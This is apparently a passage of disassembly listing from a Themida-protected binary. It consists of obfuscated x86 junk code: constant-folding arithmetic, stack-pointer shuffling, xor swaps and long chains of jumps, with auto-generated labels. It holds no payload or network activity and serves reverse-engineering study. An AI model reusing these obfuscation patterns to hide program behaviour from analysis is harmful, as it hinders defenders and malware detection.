xchg ebx, [esp]
jmp loc_5A0BE5
; ---------------------------------------------------------------------------
loc_59C8B7: ; CODE XREF: Themida_:005A20F9j
mov edx, 54DC76D0h
shl edx, 4
xor edx, 17396E7Fh
push esi
mov esi, edx
jmp loc_590A33
; ---------------------------------------------------------------------------
loc_59C8CD: ; CODE XREF: Themida_:00595CB1j
mov ch, 8
jmp loc_5A2656
; ---------------------------------------------------------------------------
loc_59C8D4: ; CODE XREF: Themida_:0059A330j
xor eax, 2117108h
xor ebp, eax
jmp loc_59B3CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59C8E0: ; CODE XREF: sub_59DA2F+3F40j
sub edi, 5662334Ah
pop ebx
jmp loc_5969DA
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59C8EC: ; CODE XREF: Themida_:0059A557j
pop esp
jmp loc_591398
; ---------------------------------------------------------------------------
loc_59C8F2: ; CODE XREF: Themida_:00592332j
mov esi, 4
mov eax, esi
jmp loc_598C3F
; ---------------------------------------------------------------------------
loc_59C8FE: ; CODE XREF: Themida_:0058F077j
sub ecx, 282BE6BCh
mov ebx, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push edi
jmp loc_58F938
; ---------------------------------------------------------------------------
loc_59C918: ; CODE XREF: Themida_:0058F7B2j
mov esp, [esp]
and eax, ecx
pop ecx
or edx, eax
shl edx, 1
jmp loc_5979D0
; ---------------------------------------------------------------------------
loc_59C927: ; CODE XREF: Themida_:0058EFE1j
push 8862BDD3h
pop edi
xor ecx, edi
pop edi
xor eax, ecx
pop ecx
xor esi, eax
pop eax
add ebx, esi
mov esi, [esp]
add esp, 4
mov ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_59EF86
; ---------------------------------------------------------------------------
loc_59C94B: ; CODE XREF: Themida_:00597AD6j
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov [esp], ebx
push ebx
mov ebx, 0FFFFFFFFh
sub [esp+4], ebx
pop ebx
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
add eax, 4
jmp loc_5A30D3
; ---------------------------------------------------------------------------
loc_59C980: ; CODE XREF: Themida_:0059DF22j
add edi, ebx
sub edi, 1A7902B2h
push 516Eh
jmp loc_5A12FD
; ---------------------------------------------------------------------------
loc_59C992: ; CODE XREF: Themida_:00599555j
sub edi, edx
mov edx, [esp]
add esp, 4
mov ecx, edi
jmp loc_5A2F64
; ---------------------------------------------------------------------------
loc_59C9A1: ; CODE XREF: Themida_:0059B5FDj
xor bh, 0B0h
jmp loc_5994BE
; ---------------------------------------------------------------------------
loc_59C9A9: ; CODE XREF: Themida_:0059BCF1j
add eax, ecx
pop ecx
add eax, 0D72195Bh
add eax, ecx
push edi
jmp loc_59B800
; ---------------------------------------------------------------------------
loc_59C9B9: ; CODE XREF: Themida_:005927D1j
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], esi
mov esi, 4
sub ebp, esi
pop esi
jmp loc_59B577
; ---------------------------------------------------------------------------
loc_59C9D7: ; CODE XREF: Themida_:005A2101j
mov ch, 0D5h
neg ch
push ebx
mov bl, 71h
jmp loc_59CE00
; ---------------------------------------------------------------------------
loc_59C9E3: ; CODE XREF: Themida_:0059F822j
push edx
mov edx, 4
jmp loc_58E57F
; ---------------------------------------------------------------------------
loc_59C9EE: ; CODE XREF: Themida_:00591CEBj
push ecx
push ebx
mov bl, 33h
mov ch, 5Ch
sub ch, bl
jmp loc_5A0429
; ---------------------------------------------------------------------------
loc_59C9FB: ; CODE XREF: Themida_:00597F83j
pop edx
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_58EB78
; ---------------------------------------------------------------------------
loc_59CA08: ; CODE XREF: Themida_:005A0C17j
push eax
mov eax, 1D881690h
jmp loc_59AA59
; ---------------------------------------------------------------------------
loc_59CA13: ; CODE XREF: Themida_:005A2E25j
pop esp
inc edi
jmp loc_58EF92
; ---------------------------------------------------------------------------
loc_59CA1A: ; CODE XREF: Themida_:0058EF8Dj
pop dword ptr [esp]
pop esp
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 635Bh
jmp loc_59FE77
; ---------------------------------------------------------------------------
loc_59CA37: ; CODE XREF: Themida_:0059AE83j
push ecx
push 11086EA9h
pop ecx
sub ecx, 64C55204h
or ecx, 2A1A25DEh
neg ecx
add ecx, 0F1236B57h
mov ebp, ecx
pop ecx
add eax, ebp
pop ebp
push edx
push ebx
jmp loc_5A1DD4
; ---------------------------------------------------------------------------
loc_59CA5F: ; CODE XREF: Themida_:005A24DBj
add esp, 4
jmp loc_59D5E0
; ---------------------------------------------------------------------------
loc_59CA6A: ; CODE XREF: Themida_:005A2C8Cj
mov edi, esp
add edi, 4
add edi, 4
sub esp, 4
mov [esp], edi
jmp loc_59E2BF
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
push 6DDCh
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
jmp loc_5A32C6
; ---------------------------------------------------------------------------
loc_59CA9C: ; CODE XREF: Themida_:0059270Fj
push edx
mov edx, 6E9B27A7h
xor edx, 53545B93h
neg edx
dec edx
xor edx, 555E3FEEh
sub edx, 39E766C6h
jmp loc_5945C2
; ---------------------------------------------------------------------------
loc_59CABC: ; CODE XREF: Themida_:0059A149j
mov edx, 62B905C2h
add ebx, edx
pop edx
push ebp
mov ebp, 531E7E0Eh
push ecx
mov ecx, 782C602Ah
jmp loc_5A1DB9
; ---------------------------------------------------------------------------
loc_59CAD5: ; CODE XREF: Themida_:005A09E4j
add esp, 4
jmp loc_5A2A9C
; ---------------------------------------------------------------------------
loc_59CADD: ; CODE XREF: Themida_:005941A4j
mov ecx, 776650BAh
xor edi, ecx
mov ecx, [esp]
jmp loc_590DAF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_59CAEC: ; CODE XREF: sub_591554+4127j
pop ecx
add eax, 722D70DAh
push ebp
jmp loc_598870
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_59CAF8: ; CODE XREF: Themida_:00595B13j
push 4E08h
mov [esp], eax
mov eax, 62716582h
push ecx
mov ecx, 68012D5Dh
xor ecx, 67050375h
dec ecx
add ecx, 250210D7h
shr ecx, 4
add ecx, 37BBA9A3h
or ecx, 2E7F62C8h
jmp loc_594B78
; ---------------------------------------------------------------------------
loc_59CB2C: ; CODE XREF: Themida_:00591F3Dj
sub ecx, ebx
pop ebx
push ebx
mov ebx, 6771676Dh
xor ebx, 6A5B00E4h
jmp loc_597B97
; ---------------------------------------------------------------------------
loc_59CB40: ; CODE XREF: Themida_:0059E71Cj
sub esp, 4
mov [esp], edi
mov edi, 17A9017Dh
dec edi
jmp loc_594F57
; ---------------------------------------------------------------------------
loc_59CB54: ; CODE XREF: Themida_:0058F3D6j
push dword ptr [esp]
pop ebp
push 4B6Dh
jmp loc_59C629
; ---------------------------------------------------------------------------
loc_59CB62: ; CODE XREF: Themida_:00593F17j
sub edx, eax
pop eax
xchg edx, [esp]
pop esp
jmp loc_58FAF9
; ---------------------------------------------------------------------------
loc_59CB6E: ; CODE XREF: Themida_:0059F3A5j
xor bl, al
jmp loc_59144F
; ---------------------------------------------------------------------------
loc_59CB75: ; CODE XREF: Themida_:00597700j
mov edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_595851
; ---------------------------------------------------------------------------
loc_59CB85: ; CODE XREF: Themida_:005930C1j
xor ebx, eax
jmp loc_59BA2D
; ---------------------------------------------------------------------------
loc_59CB8C: ; CODE XREF: Themida_:005A0EE3j
add esp, 4
push edx
jmp loc_59F916
; ---------------------------------------------------------------------------
loc_59CB95: ; CODE XREF: Themida_:005980A0j
pop dword ptr [edi+24h]
push dword ptr [esp]
jmp loc_59A39F
; ---------------------------------------------------------------------------
loc_59CBA0: ; CODE XREF: Themida_:00591541j
pop esi
add ebx, ebp
jmp loc_58F9E9
; ---------------------------------------------------------------------------
loc_59CBA8: ; CODE XREF: Themida_:00594492j
add edx, ebp
jmp loc_59708B
; ---------------------------------------------------------------------------
loc_59CBAF: ; CODE XREF: Themida_:0059DEBEj
and ebp, 63B3517h
jmp loc_597ADB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_59CBBA: ; CODE XREF: sub_59F235-72BBj
inc eax
xor eax, 632947B2h
jmp loc_59399B
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_59CBC5: ; CODE XREF: Themida_:005953FFj
pop esi
jmp loc_5A2A6B
; ---------------------------------------------------------------------------
loc_59CBCB: ; CODE XREF: Themida_:00593CBCj
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
add esi, 4
push edx
mov edx, 2
add esi, edx
pop edx
xchg esi, [esp]
pop esp
shr word ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59CBF4: ; CODE XREF: Themida_:0059E6F0j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
jmp loc_5A26EA
; ---------------------------------------------------------------------------
loc_59CC0C: ; DATA XREF: Themida_:0058E0B4o
mov cx, [esp]
push 7E8Ah
mov [esp], edx
mov edx, esp
jmp loc_5A26BA
; ---------------------------------------------------------------------------
loc_59CC1F: ; CODE XREF: Themida_:0059B11Dj
push 2E03h
jmp loc_59AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_59CC29: ; CODE XREF: sub_59FCFF-2864j
sub edx, 7DAB32F7h
or edx, 5F593AB7h
xor edx, 5A3FBF7Bh
sub ecx, edx
pop edx
add ecx, esi
add ecx, 254444CCh
jmp loc_5929DE
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_59CC4B: ; CODE XREF: sub_59233E-3A9j
xor edx, 0EF90373h
pop edi
add ebx, edx
jmp loc_59939D
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_59CC59: ; CODE XREF: Themida_:0059C54Cj
sub ecx, 4
xchg ecx, [esp]
jmp loc_596C9C
; ---------------------------------------------------------------------------
loc_59CC67: ; CODE XREF: Themida_:0059C4D0j
shl eax, 7
push 0
sub dword ptr [esp], 1FBC3149h
sub [esp], eax
add dword ptr [esp], 1FBC3149h
push dword ptr [esp]
pop eax
add esp, 4
sub eax, 5E142FFCh
add ebp, eax
push dword ptr [esp]
pop eax
push eax
jmp loc_59A5EF
; ---------------------------------------------------------------------------
loc_59CC9B: ; CODE XREF: Themida_:0059407Fj
sub eax, ebx
jmp loc_59F1B7
; ---------------------------------------------------------------------------
loc_59CCA2: ; CODE XREF: Themida_:0059673Fj
push esi
push 285470C3h
jmp loc_595C6D
; ---------------------------------------------------------------------------
loc_59CCAD: ; CODE XREF: Themida_:00590AA3j
push edi
push ebx
mov ebx, 4
mov edi, ebx
pop ebx
add ebx, 78963BD9h
add ebx, edi
sub ebx, 78963BD9h
jmp loc_597705
; ---------------------------------------------------------------------------
loc_59CCCA: ; CODE XREF: Themida_:005A0A2Cj
xor edi, esi
pop esi
jmp loc_590006
; ---------------------------------------------------------------------------
loc_59CCD2: ; CODE XREF: Themida_:0059B4AEj
push dword ptr [esp]
push dword ptr [esp]
pop esi
jmp loc_59BC0B
; ---------------------------------------------------------------------------
loc_59CCDE: ; CODE XREF: Themida_:0059B627j
neg esi
jmp loc_58FB8B
; ---------------------------------------------------------------------------
loc_59CCE5: ; CODE XREF: Themida_:00595E1Cj
push eax
push edi
mov edi, 3D970100h
mov eax, edi
pop edi
or edi, eax
pop eax
jmp loc_59AF95
; ---------------------------------------------------------------------------
loc_59CCF7: ; CODE XREF: Themida_:0059086Fj
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5913DB
; ---------------------------------------------------------------------------
loc_59CD03: ; CODE XREF: Themida_:005963D1j
mov edi, 6CBC0AD7h
or edi, 5FBA65F1h
shr edi, 7
xor edi, 125127BAh
sub ecx, 5B93015Fh
add ecx, edi
add ecx, 5B93015Fh
mov edi, [esp]
jmp loc_59D940
; ---------------------------------------------------------------------------
loc_59CD2D: ; CODE XREF: Themida_:00596A13j
sub bl, 87h
sub bl, cl
add bl, 87h
pop ecx
sub bl, 46h
jmp loc_5A03EE
; ---------------------------------------------------------------------------
loc_59CD3E: ; CODE XREF: Themida_:0059B90Cj
shl ebp, 2
push esi
mov esi, 0A3861E0h
jmp loc_5A2D24
; ---------------------------------------------------------------------------
loc_59CD4C: ; CODE XREF: Themida_:00592A91j
mov ebp, 169E3577h
add ecx, ebp
pop ebp
mov ebx, 0F25DFC88h
add ebx, ecx
mov ecx, [esp]
add esp, 4
mov esi, ebx
pop ebx
add esi, 5F12CB1h
push edi
push 3D8550E9h
pop edi
and esi, edi
mov edi, [esp]
jmp loc_59FA6E
; ---------------------------------------------------------------------------
loc_59CD7B: ; CODE XREF: Themida_:00598105j
push ebx
mov ebx, 4
add esi, ebx
pop ebx
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push 324Eh
jmp loc_592727
; ---------------------------------------------------------------------------
loc_59CDA1: ; CODE XREF: Themida_:00594D3Bj
and esi, edx
jmp loc_5941B8
; ---------------------------------------------------------------------------
loc_59CDA8: ; CODE XREF: Themida_:005914BAj
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
sub ecx, 24453AD6h
push ebx
push 0C6Eh
mov [esp], ebp
mov ebp, 24953CF0h
xor ebp, 0AFA0E46h
push ebp
pop ebx
pop ebp
sub ecx, 0A1B3362h
sub ecx, ebx
add ecx, 0A1B3362h
pop ebx
add ecx, 655B00F5h
sub ecx, ebp
sub ecx, 655B00F5h
push esi
jmp loc_5A186A
; ---------------------------------------------------------------------------
loc_59CE00: ; CODE XREF: Themida_:0059C9DEj
neg bl
sub bl, 79h
jmp loc_59C038
; ---------------------------------------------------------------------------
loc_59CE0A: ; CODE XREF: Themida_:0058E657j
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 539D6C14h
xor ecx, 539D6C10h
add edi, ecx
pop ecx
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_58F281
; ---------------------------------------------------------------------------
loc_59CE33: ; CODE XREF: Themida_:0059EC02j
mov [esp], ebx
jmp loc_5A0C37
; ---------------------------------------------------------------------------
loc_59CE3B: ; CODE XREF: Themida_:0059B7D9j
sub esi, ebx
jmp loc_59F06F
; ---------------------------------------------------------------------------
loc_59CE42: ; CODE XREF: Themida_:00595C5Ej
pop edx
jmp loc_58E41C
; ---------------------------------------------------------------------------
loc_59CE48: ; CODE XREF: Themida_:005A2438j
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
jmp loc_59B329
; ---------------------------------------------------------------------------
loc_59CE61: ; CODE XREF: Themida_:0059CE97j
push ecx
push esp
mov ecx, [esp]
jmp loc_59E6C2
; ---------------------------------------------------------------------------
loc_59CE6B: ; CODE XREF: Themida_:0059ACF3j
mov ecx, 309C1CC1h
push esi
mov esi, 109201F5h
and ecx, esi
pop esi
push edx
jmp loc_593AFC
; ---------------------------------------------------------------------------
loc_59CE7F: ; CODE XREF: Themida_:00599851j
sub edi, 1EE15030h
add edi, 476B1623h
jmp loc_58FFB3
; ---------------------------------------------------------------------------
loc_59CE90: ; CODE XREF: Themida_:005931C0j
and [edi+1Ch], ecx
push dword ptr [esp]
pop ecx
jmp loc_59CE61
; ---------------------------------------------------------------------------
loc_59CE9C: ; CODE XREF: Themida_:00599DFEj
add eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
jmp loc_594340
; ---------------------------------------------------------------------------
loc_59CEBC: ; CODE XREF: Themida_:00597105j
mov ebx, 3A400E68h
inc ebx
and ebx, 6E0C5C20h
jmp loc_59B6F5
; ---------------------------------------------------------------------------
loc_59CECD: ; CODE XREF: Themida_:005A0706j
add esp, 4
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_5A22C4
; ---------------------------------------------------------------------------
loc_59CEFA: ; CODE XREF: Themida_:00592EA0j
sub esp, 4
mov [esp], edx
mov edx, 69EF2F10h
add ebx, edx
push dword ptr [esp]
jmp loc_5A0532
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59CF1A: ; CODE XREF: sub_59DA2F+25E9j
pop cx
sub al, ch
push ebx
mov bh, 0A6h
jmp loc_591443
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59CF26: ; CODE XREF: Themida_:00596F3Cj
pop eax
add esp, 4
push edi
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
jmp loc_5918D9
; ---------------------------------------------------------------------------
loc_59CF3F: ; CODE XREF: Themida_:0059E0B0j
not dh
sub dh, 5Ah
sub dh, 0
or ch, dh
pop edx
inc ch
inc ch
xor ch, 0FAh
add dl, ch
jmp loc_5945AA
; ---------------------------------------------------------------------------
loc_59CF58: ; CODE XREF: Themida_:0059F5D2j
sub bl, 5Eh
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 2
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
jmp loc_58F00A
; ---------------------------------------------------------------------------
loc_59CF80: ; CODE XREF: Themida_:0059107Cj
push ebx
mov ebx, 4
sub edx, ebx
pop ebx
xchg edx, [esp]
jmp loc_5956D5
; ---------------------------------------------------------------------------
loc_59CF91: ; CODE XREF: Themida_:0059F9E0j
push ecx
mov ecx, 3D4C64BEh
jmp loc_595D21
; ---------------------------------------------------------------------------
loc_59CF9C: ; CODE XREF: Themida_:00594517j
xor al, 90h
or dh, al
pop eax
push cx
mov cl, 0FFh
sub dh, cl
pop cx
jmp loc_597756
; ---------------------------------------------------------------------------
loc_59CFAE: ; CODE XREF: Themida_:0059BE90j
xchg edx, [esp]
pop esp
jmp loc_59286D
; ---------------------------------------------------------------------------
loc_59CFB7: ; CODE XREF: Themida_:0058FDA3j
mov bh, cl
pop ecx
mov ch, bh
jmp loc_594C71
; ---------------------------------------------------------------------------
loc_59CFC1: ; CODE XREF: Themida_:0059E223j
push edx
push 24BFh
mov [esp], ebp
push ecx
mov ecx, 4FB00314h
jmp loc_59B66E
; ---------------------------------------------------------------------------
loc_59CFD5: ; DATA XREF: Themida_:0058E260o
mov ax, [esp]
push 698h
jmp loc_595A3E
; ---------------------------------------------------------------------------
loc_59CFE3: ; CODE XREF: Themida_:00590001j
sub eax, 0E749C3h
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
push 5CD1723Ah
pop ebx
sub esp, 4
mov [esp], edx
mov edx, 2B7205A9h
xor edx, 4AED22ADh
or edx, 620D2C64h
jmp loc_597A01
; ---------------------------------------------------------------------------
loc_59D01D: ; CODE XREF: Themida_:0059E990j
pop edx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xor dl, cl
xor cl, dl
jmp loc_594457
; ---------------------------------------------------------------------------
loc_59D03A: ; CODE XREF: Themida_:00594014j
and ebx, 223F0CDCh
add ebx, 0B394DFCCh
add eax, 42E377E4h
add eax, ebx
sub eax, 42E377E4h
jmp loc_591E4D
; ---------------------------------------------------------------------------
loc_59D057: ; CODE XREF: Themida_:00593FC2j
push ebx
push esp
jmp loc_59260F
; ---------------------------------------------------------------------------
loc_59D05E: ; CODE XREF: Themida_:005A1B21j
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_59DE1A
; ---------------------------------------------------------------------------
loc_59D06F: ; CODE XREF: Themida_:005974D7j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59A7D0
; ---------------------------------------------------------------------------
loc_59D080: ; CODE XREF: Themida_:005938E9j
add esp, 4
sub ecx, 251528B0h
pop esi
add eax, 427A331Eh
jmp loc_595FB3
; ---------------------------------------------------------------------------
loc_59D097: ; CODE XREF: Themida_:0059DE2Aj
add ecx, 4
jmp loc_5942B0
; ---------------------------------------------------------------------------
loc_59D0A2: ; CODE XREF: Themida_:0059BE88j
push ecx
push ebx
jmp loc_5A14FA
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5982E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_59D0B4: ; CODE XREF: sub_591554+D6E7j
pop ebx
sub eax, edx
pop edx
sub esp, 4
mov [esp+0Ch+var_C], ebx
jmp loc_59F6C0
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_59D0C3: ; CODE XREF: Themida_:005A16BDj
push eax
push ebx
mov ebx, 496D5CA9h
or ebx, 7E2445A7h
and ebx, 74F85024h
add ebx, 0DFA0968h
push esi
jmp loc_59B3BE
; ---------------------------------------------------------------------------
loc_59D0E2: ; CODE XREF: Themida_:005983B5j
dec edx
jmp loc_59FC00
; ---------------------------------------------------------------------------
loc_59D0E8: ; CODE XREF: Themida_:00594B0Aj
add esp, 4
pop eax
jmp loc_59FC1A
; ---------------------------------------------------------------------------
loc_59D0F1: ; CODE XREF: Themida_:00590D9Fj
mov dl, 64h
neg dl
xor dl, 10h
not dl
xor dl, 67h
and dl, 9
xor dl, 76h
and dl, 0ACh
shr dl, 4
neg dl
jmp loc_58FB46
; =============== S U B R O U T I N E =======================================
sub_59D110 proc near ; CODE XREF: sub_59B86E-D03Cj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591344 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005951D6 SIZE 0000000C BYTES
push ebx
not [esp+4+var_4]
jmp loc_5951D6
sub_59D110 endp
; ---------------------------------------------------------------------------
loc_59D119: ; CODE XREF: Themida_:0059FF91j
xor edx, 3715772Ah
not edx
xor edx, 0EF15980Fh
sub edi, 2F8336C1h
add edi, 6FAF0F31h
add edi, edx
sub edi, 6FAF0F31h
add edi, 2F8336C1h
pop edx
add edi, 4
xchg edi, [esp]
pop esp
push 4C5Ch
mov [esp], edi
sub esp, 4
mov [esp], edx
jmp loc_58F4C4
; ---------------------------------------------------------------------------
loc_59D15C: ; CODE XREF: Themida_:0059796Cj
add edx, eax
jmp loc_599939
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59D163: ; CODE XREF: sub_590877+129ADj
push ax
pushf
jmp loc_58E353
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 27A7h
mov [esp], edx
push 436Bh
mov [esp], ebp
push esi
mov esi, 1F55268Eh
jmp loc_59ACF8
; ---------------------------------------------------------------------------
loc_59D189: ; CODE XREF: Themida_:005A288Fj
mov ah, bl
pop ebx
push edx
mov dl, ah
mov ch, dl
pop edx
pop eax
sub ch, 5Ah
sub ch, 0A4h
add ch, bl
add ch, 0A4h
add ch, 5Ah
mov ebx, [esp]
jmp loc_591B46
; ---------------------------------------------------------------------------
loc_59D1A9: ; CODE XREF: Themida_:0058ECF3j
add eax, 0DC4ED134h
sub ebx, eax
pop eax
pop eax
xchg ebx, [esp]
pop esp
jmp loc_5905DB
; ---------------------------------------------------------------------------
loc_59D1BB: ; CODE XREF: Themida_:005912E0j
sub edi, 72D437C1h
push dword ptr [esp]
pop esi
add esp, 4
add edi, 4
xchg edi, [esp]
jmp loc_59F546
; ---------------------------------------------------------------------------
loc_59D1D3: ; CODE XREF: Themida_:0058F125j
push small 45F6h
mov [esp], bx
sub word ptr [esp], 16AAh
pop bp
add bp, 16AAh
jmp loc_5937C3
; ---------------------------------------------------------------------------
loc_59D1ED: ; CODE XREF: Themida_:005965DEj
pop ebx
add eax, ecx
mov ecx, [esp]
add esp, 4
xchg eax, [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59D204: ; CODE XREF: Themida_:0058FEFEj
and edx, ebp
pop ebp
jmp loc_593A93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B86E
loc_59D20C: ; CODE XREF: sub_59B86E-8D6Cj
push [esp+4+var_4]
mov ebx, [esp+8+var_8]
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
jmp loc_598791
; END OF FUNCTION CHUNK FOR sub_59B86E
; ---------------------------------------------------------------------------
loc_59D226: ; CODE XREF: Themida_:00596294j
push edx
mov dh, ch
mov ah, dh
mov edx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
shl ah, 3
xor ah, 52h
and ch, ah
push dword ptr [esp]
pop eax
add esp, 4
xor ch, 62h
mov dl, ch
mov ecx, [esp]
jmp loc_599CEC
; ---------------------------------------------------------------------------
loc_59D256: ; CODE XREF: Themida_:005A2171j
mov bh, 8Ch
and cl, bh
mov bx, [esp]
add esp, 2
dec cl
jmp loc_594FC4
; ---------------------------------------------------------------------------
loc_59D268: ; CODE XREF: Themida_:0059422Fj
and edx, 632D2D83h
sub edx, 2105007Fh
add eax, edx
mov edx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
jmp loc_595BCC
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_59E3F2
; ---------------------------------------------------------------------------
loc_59D28E: ; CODE XREF: Themida_:005A18F6j
add edx, 6909F8A7h
jmp loc_58E4F5
; ---------------------------------------------------------------------------
loc_59D299: ; CODE XREF: Themida_:0058F9F6j
and esi, 21427AD0h
jmp loc_5A2643
; ---------------------------------------------------------------------------
loc_59D2A4: ; CODE XREF: Themida_:0059FA9Ej
mov ecx, 0AC17AE27h
sub edx, ecx
pop ecx
mov esi, edx
jmp loc_5A2E2A
; ---------------------------------------------------------------------------
loc_59D2B3: ; CODE XREF: Themida_:0058F452j
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
jmp loc_59F8E1
; ---------------------------------------------------------------------------
loc_59D2CD: ; CODE XREF: Themida_:0059219Ej
mov ebx, 6EB120DEh
shl ebx, 6
push eax
mov eax, 53B7C884h
add ebx, eax
pop eax
jmp loc_59C3D8
; ---------------------------------------------------------------------------
loc_59D2E3: ; CODE XREF: Themida_:00592BEAj
add edx, 0D19E8F2h
add edi, edx
pop edx
sub edi, 3B304A7Dh
pop ebx
jmp loc_5A041B
; ---------------------------------------------------------------------------
loc_59D2F8: ; CODE XREF: Themida_:00597602j
xchg esi, [esp]
pop esp
jmp loc_59EEC8
; ---------------------------------------------------------------------------
loc_59D301: ; CODE XREF: Themida_:00593383j
sub eax, edx
pop edx
sub ecx, 124603Ch
jmp loc_58E64C
; =============== S U B R O U T I N E =======================================
sub_59D30F proc near ; DATA XREF: Themida_:0058E118o
; FUNCTION CHUNK AT 0059AFF4 SIZE 00000008 BYTES
push ebp
push esp
pop ebp
add ebp, 4
push eax
mov eax, 4
jmp loc_59AFF4
sub_59D30F endp
; ---------------------------------------------------------------------------
loc_59D323: ; CODE XREF: Themida_:00590070j
add esp, 4
jmp loc_597F0E
; ---------------------------------------------------------------------------
loc_59D32E: ; CODE XREF: Themida_:0059E1D0j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
jmp loc_5956AA
; ---------------------------------------------------------------------------
push 40FBh
mov [esp], ebp
push esp
jmp loc_595DD5
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_5923CF
; ---------------------------------------------------------------------------
loc_59D36C: ; CODE XREF: Themida_:00595667j
push esi
jmp loc_5A1F86
; ---------------------------------------------------------------------------
loc_59D372: ; CODE XREF: Themida_:00592AEFj
sub eax, 3D832687h
jmp loc_594E9F
; ---------------------------------------------------------------------------
loc_59D37C: ; CODE XREF: Themida_:00592898j
add ebx, ebp
jmp loc_5948DD
; ---------------------------------------------------------------------------
loc_59D383: ; CODE XREF: Themida_:00594287j
pop esi
xor ecx, eax
pop eax
push ecx
add dword ptr [esp], 1ECE6CB7h
pop ebx
sub ebx, 1ECE6CB7h
mov ecx, [esp]
add esp, 4
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59D3A4: ; CODE XREF: Themida_:005936E8j
add eax, 19EB19F1h
sub ecx, 2A72061Eh
push ebx
mov ebx, 6D434A57h
or ebx, 7D6C436Ah
jmp loc_59AC64
; ---------------------------------------------------------------------------
loc_59D3C0: ; CODE XREF: Themida_:00599880j
pop ecx
xor ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
shl ebp, 5
jmp loc_59DA4D
; ---------------------------------------------------------------------------
loc_59D3D2: ; CODE XREF: Themida_:0059C395j
push ebx
push edx
mov dh, ah
push ecx
mov ch, dh
jmp loc_59BFCE
; ---------------------------------------------------------------------------
loc_59D3DE: ; CODE XREF: Themida_:00599DC8j
add esp, 4
jmp loc_5A0CF2
; ---------------------------------------------------------------------------
loc_59D3E6: ; CODE XREF: Themida_:005A3245j
add al, bl
pop ebx
jmp loc_599898
; ---------------------------------------------------------------------------
loc_59D3EE: ; CODE XREF: Themida_:00593990j
pop ebp
jmp loc_593895
